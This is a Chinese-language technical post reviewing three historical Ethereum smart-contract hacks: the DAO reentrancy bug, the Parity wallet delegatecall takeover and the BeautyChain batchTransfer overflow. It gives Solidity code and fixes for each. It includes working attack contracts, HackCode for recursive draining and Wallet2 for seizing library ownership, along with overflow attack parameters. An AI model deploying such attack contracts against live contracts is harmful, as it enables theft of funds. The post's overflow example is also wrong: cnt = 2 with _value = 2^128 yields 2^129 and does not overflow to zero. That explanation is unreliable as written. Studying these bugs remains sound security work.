以太坊的智能合约,自 DAO以来,漏洞就没断过,觉得有必要做一下汇总,以为鉴。
该漏洞直接导致了以太坊的分叉。应该算是最有名的明星漏洞了。
我们将源码的无关部分剔除,只剩关键代码。看模拟源码:
pragma solidity ^0.4.18;
contract TheDAO{
//这两个函数为方便测试,额外加的,原合约中并没有。
function getBanalce() public view returns(uint){
return address(this).balance;
}
function deposit()public payable{
}
function splitDAO()public{
withdrawRewardFor(msg.sender);
}
function withdrawRewardFor(address _account)public{
uint reward = 10**17;
if (!payOut(_account, reward)) throw;
}
function payOut(address _recipient, uint _amount) returns (bool) {
if (_recipient.call.value(_amount)()) {//假如_recipient是一个合约地址,此调用会触发_recipient的回退函数,并且,call命令不会限制本次调用的gas。
return true;
} else {
return false;
}
}
function () public payable{ }
}
contract HackCode{
address public daoContract;
uint public count = 50;
uint public n;
function setDAO(address _addr)public{
daoContract = _addr;
}
function getBanalce() public view returns(uint){
return address(this).balance;
}
function withdraw()public{
msg.sender.transfer(address(this).balance);
}
function setCount(uint newCount)public {
count = newCount;
}
function () public payable{
if(n < count){
n++;// 限制递归次数,防止out of gas,那样整个递归调用链都会回滚。
TheDAO(daoContract).splitDAO();
}
}
}
原因基本都写在注释里了:call方法有可能触发回退函数,并且未限制本次call的gasLimit(transfer与send会限制在2300——这个数量不足以支付一次哪怕最简单的函数调用的花费)。所以要想更正bug,只需将
if (_recipient.call.value(_amount)())
改为
if (_recipient.send(_amount))
即可。
注:黑客实际使用的攻击合约可以查得到字节码,但是源码无从获得,反编译可读性也不好,此处依照个人理解做了一个实现,如有不当之处,欢迎指正。
该bug是由于使用了delegatecall方法引起的,导致黑客拿到了owner权限
bug威力:黑客转移几千万美元的eth,并销毁了WalletLibrary 合约,导致一部分Wallet合约中的剩余eth(300w个)永远取不出来了。
部分源码:
contract WalletLibrary {
modifier onlyowner {
if (isOwner(msg.sender))
_;
}
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
modifier only_uninitialized { if (m_numOwners > 0) throw; _; }
function isOwner(address _addr) constant returns (bool) {
return m_ownerIndex[uint(_addr)] > 0;
}
function initMultiowned(address[] _owners, uint _required) only_uninitialized {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
suicide(_to);
}
}
contract Wallet {
uint public m_required;
uint public m_numOwners;
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
// list of owners
uint[256] m_owners;
address constant _walletLibrary = 0x863df6bfa4469f3ead0be8f9f2aae51c91a907b4;
function Wallet(address[] _owners, uint _required, uint _daylimit) {
bytes4 sig = bytes4(sha3("initWallet(address[],uint256,uint256)"));
address target = _walletLibrary;
uint argarraysize = (2 + _owners.length);
uint argsize = (2 + argarraysize) * 32;
assembly {
mstore(0x0, sig)
codecopy(0x4, sub(codesize, argsize), argsize)
delegatecall(sub(gas, 10000), target, 0x0, add(argsize, 0x4), 0x0, 0x0)
}
}
function() payable {
if (msg.value > 0)
Deposit(msg.sender, msg.value);
else if (msg.data.length > 0)
_walletLibrary.delegatecall(msg.data);
}
}
问题出在initWallet函数这里,乍一看,有一个only_uninitialized modifier 防止多次调用。其实这里有个隐藏的漏洞:
Wallet 合约通过delegate来调用walletLibrary 合约的initWallet方法是没有问题的,only_uninitialized能够防止Wallet 多次调用initWallet。但是,如果我们构造一个Wallet2合约来调用walletLibrary 合约的initWallet方法,此时only_uninitialized读的owner是位于Wallet2中的owner——这个owner可以被任意赋值,于是Wallet2可以轻松拿到walletLibrary 中的owner权限。
黑客合约可以这样构造:
contract Wallet2 {
uint public m_required;
uint public m_numOwners;
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
// list of owners
uint[256] m_owners;
mapping(uint => uint) m_ownerIndex;
address constant _walletLibrary = 0x863df6bfa4469f3ead0be8f9f2aae51c91a907b4;
function attack()public{
m_ownerIndex[this] = 1;
bytes4 sig = bytes4(sha3("initWallet(address[],uint256,uint256)"));
_walletLibrary.delegatecall(sig, [this], 0, 0);//这里会顺利调用到initWallet函数,并把this设置为owner
..........//可以为所欲为了
}
}
根本原因在于:delegatecall调用其他合约的代码,存储仍然用的当前合约的环境,导致丧失owner权限。
教训:慎用delegatecall,因为它的行为严重与人的直觉不符,极易造成漏洞。
另外,黑客在取得了owner权限之后,拿了一些eth,然后把_walletLibrary销毁了。。。。其他人再也拿不出Wallet中剩余的eth了,浪费啊。。。
这个漏洞理解起来比DAO漏洞要容易得多:未进行乘法的溢出检查。
关键代码:
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BeautyChain{
using SafeMath for uint256;
mapping (address => uint256) public balances;
function batchTransfer(address[] _receivers, uint256 _value) public returns (bool) {
uint cnt = _receivers.length;
uint256 amount = uint256(cnt) * _value; // <====这个乘法有可能溢出
require(cnt > 0 && cnt <= 20);
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < cnt; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
}
return true;
}
}
攻击者使 uint256(cnt) * _value 溢出后恰好等于0:让cnt = 2, _value = 2^128。溢出后,amount = 0,require(_value > 0 && balances[msg.sender] >= amount);可以被完美的绕过。
接下来进了for循环,就直接add(_value),而此时的value是 2^128 。。。。
发起攻击的交易:https://etherscan.io/tx/0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f
改正漏洞很简单,只需将:
uint256 amount = uint256(cnt) * _value;
改为
uint256 amount = _value.mul(uint256(cnt));
即可。